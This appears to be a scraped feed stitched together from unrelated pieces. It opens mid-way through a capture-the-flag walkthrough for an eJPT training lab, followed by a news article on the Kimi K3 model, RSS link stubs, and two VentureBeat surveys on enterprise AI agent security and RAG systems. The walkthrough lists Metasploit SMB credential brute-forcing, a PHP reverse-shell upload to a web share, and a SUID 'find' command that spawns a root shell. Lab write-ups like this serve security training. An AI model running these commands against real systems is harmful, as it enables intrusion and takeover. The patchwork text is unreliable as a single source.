set rhosts target2.ine.local
set user_file /usr/share/wordlists/metasploit/common_users.txt
set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt
set createsession true
set verbose false
run

Six accounts came back with valid credentials, all with the same password. Multiple SMB sessions opened automatically. I used the administrator session:

sessions 8
shares
shares -i site-uploads
ls

The site-uploads share was accessible and writable. The name itself was the giveaway — this share was almost certainly mapped to the web root. I uploaded a PHP reverse shell set to my IP:

Set up a multi/handler listener, then triggered the shell by navigating to:

http://target2.ine.local/site-uploads/shell.php

Shell came back. Listing the root / directory showed flag3.txt right there.

Q. Can you escalate to root on target2.ine.local and read the flag from the restricted /root directory?

Still in the shell session, I upgraded to Meterpreter first:

Then dropped into a shell and searched for SUID binaries — files that run with the owner’s privileges regardless of who executes them:

find / -type f -perm -4000 2>/dev/null

/usr/bin/find itself had the SUID bit set and was owned by root. This is a classic privilege escalation vector — if find runs as root and can execute commands, any user can spawn a root shell through it.

I checked GTFOBins — a community database of Unix binaries that can be abused to bypass local security restrictions — for the correct syntax:

find . -exec /bin/sh -p \; -quit

whoami returned root. Flag 4 was in /root.

Final Thoughts

Two techniques in this CTF are worth remembering beyond the lab.

The hidden port 8888 on target1 is a reminder that netstat inside a session reveals far more than an external Nmap scan ever will — internal services are invisible from outside and often completely unprotected because of it. Always check what's listening locally once you have a foothold.

The SUID find escalation on target2 is a textbook GTFOBins vector. The lesson isn't just about find specifically — it's about building the habit of checking for SUID binaries early in post-exploitation. And GTFOBins is the resource to bookmark: if a binary is on that list and has SUID, you likely have a path to root.

Thanks for reading!

Host & Network Penetration Testing: Exploitation CTF 3 — eJPT (INE) was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The release, timed to land just ahead of the 2026 World Artificial Intelligence Conference in Shanghai, is a dramatic escalation in the global AI arms race and a watershed moment for the open-source AI movement. It also marks a remarkable comeback for a company whose market position had eroded significantly over the past 18 months following DeepSeek's meteoric rise.

Full model weights are scheduled to be released on July 27, according to details shared by researchers who reviewed the company's technical documentation. If you want to take Kimi K3 for a spin right now, you can — just head to kimi.com, sign up with a Google account or phone number (no credit card required), and start chatting with what may be the most powerful open-source model ever built.

Inside the architecture that powers the world's largest open-source AI model

Kimi K3 is a frontier-class large language model with 2.8 trillion total parameters — roughly 75 percent larger than DeepSeek's V4 Pro, which the company's own timeline chart shows at approximately 1.6 trillion parameters. The model features a 1-million-token context window, native visual understanding capabilities, and an always-on reasoning mode that the company calls "thinking mode."

The model is built on two key architectural innovations developed internally at Moonshot AI: Kimi Delta Attention, a hybrid linear attention mechanism, and Attention Residuals, which the company describes as a drop-in replacement for residual connections that delivers consistent scaling gains. Both techniques were previously published as open research by the Moonshot team on GitHub.

On the API side, Kimi K3 is compatible with the OpenAI SDK, lowering the integration barrier for developers already building on OpenAI or Anthropic toolchains. The model is priced at $3 per million input tokens and $15 per million output tokens, with cached input tokens dropping to just $0.30 per million — pricing that positions it roughly in line with mid-tier offerings from Western labs, but at a performance level the company claims approaches the top of the market. A promotional top-up rebate running through August 12 offers up to 30 percent back in vouchers for API credits of $1,000 or more.

As Xinhua reported, a Moonshot AI executive explained the significance of the parameter count in simple terms: parameters are like neural connections in the human brain, and nearly 3 trillion of them means the model can "store more knowledge and patterns in its brain, understand more, think deeper, and answer more accurately."

Benchmark results show Kimi K3 trading blows with Claude and GPT at the top of the leaderboard

The benchmark results, drawn from public leaderboard data and a private evaluation by analytics firm Artificial Analysis, tell a striking story.

On GDPval-AA v2, a benchmark measuring real-world tasks across 44 occupations and 9 major industries, Kimi K3 scored 1,687 — placing it third overall, behind only Claude Fable 5 Max (1,815) and GPT-5.6 Sol Max (1,747.8), and ahead of Claude Opus 4.8 (1,600).

On AA-Briefcase, a private agentic benchmark from Artificial Analysis designed to test long-horizon knowledge work, K3 climbed to second place with a score of 1,527 — beating GPT-5.6 Sol Max (1,495) and trailing only Fable 5 Max (1,587).

Perhaps most impressively, K3 achieved a state-of-the-art score of 91.2 out of 100 on BrowseComp, a benchmark for long-horizon, high-difficulty information seeking.

The company says it accomplished this in a single-agent setup using its 1-million-token context window, without any context compression or additional context management techniques — a feat that suggests raw context length, when paired with strong retrieval capabilities, may be more powerful than elaborate multi-agent workarounds.

As one widely followed AI commentator put it on social media: "Open source is no longer lagging six months behind Western closed-source models. Read that again, and think about what it all means."

That observation captures the significance of the moment. For much of the past three years, open-source models have typically trailed their proprietary counterparts by a meaningful margin. Kimi K3 appears to have closed that gap almost entirely.

How a 48-hour autonomous chip design demo reveals Moonshot's real ambitions

Beyond raw benchmarks, Moonshot AI showcased a proof-of-concept that may be even more revealing of K3's capabilities and the company's strategic direction.

In a demonstration documented in the company's technical materials, Kimi K3 was tasked with designing a physical chip to run a nano-scale version of itself. Over 48 hours of continuous autonomous agent operation, K3 independently completed the chip's full construction pipeline — from architectural design through optimization and verification — using open-source electronic design automation tools. The result was a tiny but functional chip design, just 4 square millimeters, that achieved timing convergence at 100 MHz and could decode more than 8,700 tokens per second in simulation.

This is not a production chip. It is a demonstration of what Moonshot AI clearly views as the next competitive frontier: long-range autonomous agent capabilities. The ability to sustain coherent, multi-step technical work over a 48-hour window — reading documentation, making design decisions, running verification loops, and iterating on failures — represents a qualitative leap beyond the kind of single-turn question-answering that defined the first generation of large language models.

The company also highlighted a case in computational astrophysics, where K3 reportedly reproduced the universal I-Love-Q relation — a complex calculation that typically takes a senior researcher one to two weeks — in approximately two hours, reading and cross-validating more than 20 papers and implementing a complete numerical pipeline along the way.

Moonshot AI's fall and rise tells the story of China's brutal AI market

To understand why Kimi K3 matters, you need to understand where Moonshot AI was 18 months ago — and how far it fell.

Founded in 2023 by Yang Zhilin, a Tsinghua University graduate who previously conducted research at Google and Meta, Moonshot AI quickly became one of China's most prominent AI startups. The company gained early traction in 2024 when users flocked to its Kimi platform for its long-text analysis capabilities and AI search functions. By early 2026, it had raised roughly $1.5 billion across multiple rounds, with its valuation climbing from $2.5 billion to $4.3 billion and the company reportedly seeking a new round at $5 billion.

Then DeepSeek happened. The release of DeepSeek's low-cost R1 model in January 2025 disrupted the entire Chinese AI landscape, and Moonshot AI was among the hardest hit. Kimi, which had ranked third in monthly active users in China, slid to seventh. The company's strategic pivot to open-source models — beginning with Kimi K2 in July 2025 and accelerating with K2.5 in January 2026 — was in large part an effort to reclaim relevance.

Kimi K3 is the culmination of that effort — and the sheer scale of the model suggests that Moonshot AI has been planning this move for some time. Training a 2.8-trillion-parameter model requires enormous computational resources and months of preparation, which means the architectural and infrastructure decisions behind K3 were likely locked in well before the model reached the public.

Why open-sourcing the world's biggest model is a geopolitical chess move

The decision to release K3's full weights on July 27 is strategically significant and worth parsing carefully.

The company's own timeline chart of open-source frontier model scale positions K3 as a dramatic outlier, towering above competitors like DeepSeek (1.6T), Xiaomi (1.02T), and Alibaba (397B). By releasing the world's largest open-source model, Moonshot AI is making a bid to become the center of gravity for the global open-source AI developer community.

This follows a broader trend among Chinese AI companies. As Reuters noted, open-sourcing allows companies to "showcase their technological capabilities and expand developer communities as well as their global influence, a strategy likely to help China counter U.S. efforts to limit Beijing's tech progress." DeepSeek, Alibaba, Tencent, and Baidu have all released open-source models. But none have released anything at this parameter count.

For enterprise technology leaders, the implications are concrete. A 2.8-trillion-parameter open-source model that performs at near-frontier levels creates new options for companies that want to fine-tune, self-host, or build proprietary systems on top of a capable base model — without being locked into API contracts with OpenAI or Anthropic. The trade-off, of course, is that running a model of this size requires substantial GPU infrastructure. Inference at 2.8 trillion parameters is not something that runs on a single server rack.

That said, Moonshot AI has signaled awareness of this challenge. Its Mooncake project, which won the Best Paper award at FAST 2025, pioneered KV-cache-centric disaggregated serving for large language models — an architecture designed specifically to make inference at extreme scale more practical and cost-efficient.

Kimi Code and a three-tier model lineup form the foundation of Moonshot's enterprise play

Alongside K3, Moonshot AI continues to invest heavily in its coding agent ecosystem. Kimi Code, the company's open-source coding tool that competes with Anthropic's Claude Code and Google's Gemini CLI, received two major updates on the same day as K3's launch — versions 0.25.0 and 0.26.0 — adding features like expanded subagent tooling, background task management, and security fixes.

The Kimi Code CLI has accumulated over 3,100 stars on GitHub and features integration with VSCode, Cursor, and Zed. The latest release expanded the "coder subagent" tool set to include background tasks, todo lists, plan mode, skill invocation, and nested agents — effectively turning the coding agent into a multi-layered autonomous system capable of managing complex software engineering projects with minimal human intervention.

This is not incidental. Coding tools have become a critical revenue driver for AI labs. As Anthropic disclosed in January, Claude Code reached $1 billion in annualized recurring revenue. By building Kimi Code as an open-source alternative that defaults to Kimi's own models — but supports other providers — Moonshot AI is positioning itself to capture developer workflows and, eventually, enterprise contracts.

The company's model lineup now includes three tiers: K3 as the flagship ($3/$15 per million tokens for input/output), K2.7 Code as a specialized coding model ($0.95/$4), and K2.6 as a general-purpose option ($0.95/$4). All three support context windows of 256,000 tokens or above, with K3 offering the full 1-million-token window. Context caching is automatic — no cache ID, TTL, or extra parameter is required — a small but meaningful developer-experience advantage over competitors that require explicit cache management.

What Kimi K3 means for the future of enterprise AI and the global model landscape

Kimi K3's release forces a recalibration of several assumptions that have guided enterprise AI strategy.

The performance gap between open-source and proprietary models has functionally closed at the frontier. If K3's benchmark numbers hold up under independent evaluation — and particularly once the open weights are available for community testing on July 27 — it will be difficult for closed-source providers to justify premium pricing purely on the basis of capability.

The locus of AI innovation, meanwhile, continues to shift. China's AI ecosystem, which many Western observers questioned after early struggles with chip export restrictions, has now produced a model that competes with the best systems from companies with direct access to Nvidia's most advanced hardware. The architectural innovations behind K3 — particularly the hybrid linear attention mechanism — suggest that algorithmic efficiency may matter as much as raw compute.

And the agentic capabilities demonstrated by K3 — chip design, multi-week research compression, long-horizon information seeking — point toward a future where AI models are not just answering questions but autonomously executing complex, multi-day projects. For enterprises evaluating AI investments, this shifts the value proposition from "productivity copilot" to "autonomous technical workforce."

Xinhua, China's state news agency, framed the release as a national milestone, reporting that K3 "marks a new step forward in the development of China's artificial intelligence models." Liu Tieyan, dean of the Zhongguancun Academy in Beijing, was quoted as saying that a wave of Chinese open-source models has moved from isolated breakthroughs to collective advancement, providing "new solutions and new paths" for global AI development.

Just two years ago, Moonshot AI was a scrappy startup named for the audacious problems it hoped to solve. Eighteen months ago, it was a cautionary tale about how quickly a market darling can lose its footing. Today, it is the maker of the world's largest open-source AI model — one that can, given 48 hours and an internet connection, design a chip to run itself. The frontier, it turns out, is not a place. It is a race. And the field just got a lot more crowded.

This wave of VentureBeat Pulse Research examines how enterprises secure their AI agents: what tooling they run, how they manage agent identity and isolation, what has already gone wrong, how much they spend, and whether they believe their defenses are keeping pace with AI-enabled attackers.

The central finding is an agent security gap — the distance between the autonomy enterprises are granting their agents and the controls in place to contain them. More than half of organizations (54%) have already experienced a confirmed agent security incident (18%) or a near-miss caught before harm (36%). The structural weakness beneath those numbers is identity: only about a third (32%) give every agent its own scoped, managed identity, while the rest report that some agents share credentials or that agents mostly run on shared API keys and human or service-account credentials. When agents share credentials, a single compromised or over-permissioned agent carries a wide blast radius — and only three in ten enterprises (30%) isolate their highest-risk agents in sandboxes to bound that radius.

What makes the gap notable is how comfortable enterprises are inside it. The security stack is overwhelmingly provider-native — OpenAI’s guardrails (51%), Google’s and Microsoft’s cloud controls, and Anthropic’s managed-agent controls dominate, while the dedicated agent-security specialists barely register — and satisfaction with that borrowed stack is high, averaging 4.2 out of 5. Yet spending remains a thin slice of the security budget, only a third of enterprises believe their AI defenses are ahead of AI-enabled attackers, and a clear majority plan to change tooling within the year. Enterprises are satisfied with controls they are simultaneously preparing to replace.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent security — the tooling, identity, isolation, and enforcement controls organizations use to secure autonomous AI agents. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By role the sample is senior and buyer-credible: 45% are final decision-makers for AI purchases and another 30% recommenders or influencers. Managers (43%), individual contributors (24%), VPs and directors (15%), and the C-suite (11%) make up the seniority mix. By organization size the sample is mid-market-weighted: 251–1,000 (42%) and 101–250 (25%) employees lead, with 1,001–5,000 (19%), 5,001–10,000 (8%), and 10,001+ (7%) above them. Technology/Software is the largest industry at 23%, followed by Manufacturing (15%), Retail/E-commerce (14%), and Healthcare/Life Sciences (13%).

At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent security rather than from the largest operators.

Satisfaction ratings are computed on the respondents who answered each rating question; the overall satisfaction score reflects 82 of the 107 qualified respondents.

Finding 1: The incidents are already here

More than half have had an agent security incident or near-miss

We asked whether organizations had experienced an agent security incident — a confirmed breach, or a near-miss caught before harm. Most that run agents in production had.

This is the report’s defining number. More than half of organizations (54%) have already had an agent security event — 18% a confirmed incident and 36% a near-miss caught before it caused harm. Only 42% report nothing, and a small remainder either run no agents in production or don’t track such events. That so many report near-misses rather than only confirmed incidents is telling: enterprises are catching problems, but they are catching them close to the edge. The controls examined in the rest of this report — identity, isolation, enforcement — are what determine whether the next near-miss stays a near-miss.

Exposure scales with company size, but containment does not. The incident-or-near-miss rate rises from 49% in the mid-market (companies with 101-1,000 employees) to 63% at larger enterprises (above 1,000 employees), while sandbox isolation of high-risk agents falls from 35% to 20%, and satisfaction with security tooling drops from 4.36 to 3.97. The organizations running the most agents across the most systems carry the most incidents and the least of the one control that bounds an incident's blast radius.

Finding 2: The identity gap

Only a third give every agent its own scoped identity

We asked how enterprises manage the identity of their AI agents — whether each agent has its own credentials, or agents share them. Full per-agent identity is the exception.

Rolled together, the overlapping answers show 69% of enterprises (74 of 107) with credential sharing somewhere in the agent fleet. Identity is the structural weakness beneath the incidents. Only about a third of enterprises (32%) give every agent its own scoped, managed identity — the precondition for least-privilege access and clean attribution. Nearly half (48%) say some agents have scoped identities but many still share credentials, and another 32% say agents mostly run on shared API keys or borrowed human and service-account credentials. (Respondents could describe more than one pattern across their agent fleet, so these overlap.)

The consequence is direct: when agents share credentials, an over-permissioned or compromised agent can act with far more reach than intended, and forensics after an incident cannot cleanly tell which agent did what. The non-human identity problem — giving every agent its own governed identity — is the single largest unfinished piece of enterprise agent security.

Moreover, a company’s agent credential posture is correlated with incidents. Organizations with credential sharing anywhere in the fleet were hit — with an incident or a near-miss in the past twelve months — at 63.5% (47 of 74). Organizations where every agent carries its own scoped identity were hit at 40.9% (9 of 22). The fully-scoped group is small, so for now the relationship is an association rather than proven causation, and the gap is concentrated in the mid-market — but within a single survey, a twenty-three point difference in incident rate suggests significance.

Finding 3: Observe and enforce, but rarely isolate

Only three in 10 sandbox their highest-risk agents

We asked what an organization’s agent security posture looks like in practice — whether they observe, enforce, isolate, or some combination. The control that bounds damage is the least common.

Monitoring and enforcement are reasonably common; containment is not. Roughly half of enterprises observe agent activity (47%) or enforce scoped permissions at runtime (49%), but only 30% isolate their highest-risk agents in sandboxes that bound the blast radius when the other controls fail. That ordering is backwards from a defense-in-depth standpoint: observation tells you what happened, enforcement tries to prevent it, but isolation is what limits the damage when prevention fails — and it is the control enterprises have adopted least. Combined with the identity gap in Finding 2, the picture is of agents that are watched and permissioned but rarely boxed in, which is precisely the configuration in which a single failure propagates.

Finding 4: Security runs on borrowed, provider-native controls

Guardrails from OpenAI, Google and Microsoft dominate; specialists barely register

We asked which agent security tooling enterprises use, and which is their primary layer. The answer favors the model providers and hyperscalers over the dedicated security vendors.

Enterprises are securing agents with tools that came bundled with their models and clouds. OpenAI’s guardrails lead at 51%, followed by Google’s and Microsoft’s cloud-native controls and Anthropic’s managed-agent controls — and when asked to name their single primary security layer, 82% name one of these provider-native offerings. The purpose-built agent-security category — Palo Alto’s Prisma AIRS, CrowdStrike, Cisco AI Defense, Zenity, HiddenLayer, Check Point’s Lakera, Okta for AI Agents, non-human identity platforms — barely registers, each in the low single digits, and only 5% run no dedicated tooling at all. As with retrieval and evaluation elsewhere in this series, the provider bundle is winning the default: enterprises reach first for the guardrails their platform ships, and the independent security layer that would address the identity and isolation gaps has not yet been adopted at scale.

The provider-default pattern is consistent across both Q2 survey waves. In April–May (n=110), usage was led by the same names — OpenAI's controls at 26%, Azure at 15%, AWS at 14%, Google at 12% — with every dedicated agent-security specialist at 3% or below and one in ten using no dedicated tooling at all. The common finding from the two surveys: Enterprises are defaulting to the solutions provided by the platform they’re using, and the specialist category vendors have yet to become big players here.

(A note on reading these shares. As described in the methodology section, the respondent sample is self-selected and skews mid-market, and the usage question counted every vendor or approach a respondent has in place — so the figures measure presence in the security stack rather than spending or exclusivity. Individual vendor percentages therefore carry all the usual sample caveats. The structural pattern, however, held across both Q2 waves on two differently worded questions: provider-native and hyperscaler controls lead, and dedicated agent-security specialists remain in low single digits. Read the individual shares loosely and the pattern with confidence.)

Finding 5: And enterprises are comfortable with it

Satisfaction is high, even as incidents mount and identity lags

We asked how satisfied enterprises are with their current agent security tooling. The comfort is notably out of step with the exposure documented above.

Satisfaction with agent security tooling is high — 4.2 out of 5 overall, and 4.1 for value for money — among the most positive readings in this series. That is the striking part: enterprises are highly satisfied with a stack that is mostly borrowed provider guardrails, even though more than half have already had an incident or near-miss and only a third give their agents scoped identities. The comfort appears to rest on the convenience and low friction of provider-native controls rather than on demonstrated containment. It is a false comfort in the making — the same enterprises expressing satisfaction are, as Finding 8 shows, a clear majority planning to change tooling within the year, which suggests the confidence is thinner than the score implies.

Finding 6: Budgets haven’t caught up

Most spend under a tenth of the security budget on agents

We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.

Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.

Finding 7: The arms race is even, at best

Only a third think their AI defenses are ahead of AI-enabled attackers

We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.

Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.

Finding 8: A security reshuffle is coming

Nearly six in 10 plan to adopt or switch tooling within a year

We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.

The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle.

Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.

The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. 

What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.

The bottom line: A security gap that autonomy will test first

Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.

The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.

Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.

The post Urgency, Emotion, Authority: How One Scammer Almost Got Inside a CPA Firm appeared first on CyberHoot.

Read more of this story at Slashdot.

Read more →

The post SpaceXAI Open-Sources Grok Build After Privacy Backlash appeared first on IT Security News.

The post SpaceXAI Open-Sources Grok Build After Privacy Backlash appeared first on TechRepublic.

This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.

The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.

Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.

Methodology

VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.

By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.

At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.

Finding 1: Confident and wrong

More than half have traced agent errors to bad context

We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.

This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know.

The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.

Finding 2: RAG is the default context source

Retrieval feeds more agents than any other method

We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.

Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.

One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.

Finding 3: Provider-native retrieval already leads the vector databases

OpenAI file search and vertex AI search top the dedicated tools

We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.

The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.

The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.

Finding 4: But they say they want to keep best-of-breed

A plurality resist consolidating onto a provider’s native stack

We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.

Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.

Finding 5: Hybrid retrieval is the consensus bet

Vector-only retrieval is already seen as insufficient

We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.

The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in Finding 1. Tellingly, the second-largest answer is uncertainty: 17% simply don’t know, and another 14% expect to move beyond a dedicated vector layer entirely toward tool-first or long-context retrieval. The consensus is not a single tool but a layered pipeline — and it is not yet fully formed.

Finding 6: The governed context layer is being built now

Most run or are building a semantic layer — few in production

We asked whether enterprises use a governed semantic or context layer to give agents and BI a shared understanding of their data. Most are on the path; fewer have arrived.

The fix for the context gap is under construction. Well over half of enterprises (58%) either run a governed semantic layer in production (25%) or are piloting and building one (34%), and a further 17% are actively evaluating — meaning three-quarters are engaged with the idea in some form. But the balance is telling: more are building than have shipped, so for most enterprises the shared, governed definition layer that would prevent the "confident but wrong" failures of Finding 1 is still a work in progress. The semantic layer is the industry’s answer to inconsistent context; this wave catches it mid-construction, ambition well ahead of production.

Finding 7: Bought on ingestion and simplicity, watched for correctness

Selection favors operability; monitoring favors correctness and security

We asked what matters most when enterprises choose a retrieval system, and what they track once it is running. Both answers lean practical.

Enterprises choose retrieval systems on operability. Ease of data ingestion (36%), latency and performance (32%), and operational simplicity (29%) lead the selection criteria — ahead of retrieval accuracy and access control (23% each), the two factors most directly tied to the failures in Finding 1. Once systems are running, the emphasis shifts toward trust: the most-tracked metrics are response correctness (42%) and security and access control (38%), ahead of latency (28%), operational stability (27%), and answer relevance (23%).

Satisfaction with current systems is moderately positive but not enthusiastic — on a five-point scale, overall satisfaction averages 4.0, with ease of implementation and value for money both near 3.9. Enterprises buy for how easily a system runs and watch it for whether it can be trusted.

Finding 8: A retrieval reshuffle is coming

A majority plan to change providers — and the vector specialists are gaining interest

We asked whether enterprises plan to change or add a retrieval provider, and which they are considering. The consideration set differs from today’s stack.

The retrieval stack is not settled. While 43% have no plans to change, a small majority (57%) intend to switch or add a provider within twelve months, and a quarter (26%) within the next quarter. The consideration set is where it gets interesting: provider-native retrieval still leads what enterprises are evaluating (OpenAI 22%, Vertex AI Search 21%), but the open-source vector specialists punch above their current footprint — Qdrant (14%) and Milvus (13%) draw more switching interest than their present usage (10% and 6%) would suggest. Read with Finding 4, the picture is a market in flux: enterprises run provider-native today, are evaluating a broader field, and say they want to keep their options open. The reshuffle ahead will test whether best-of-breed intent survives contact with the convenience of the bundle.

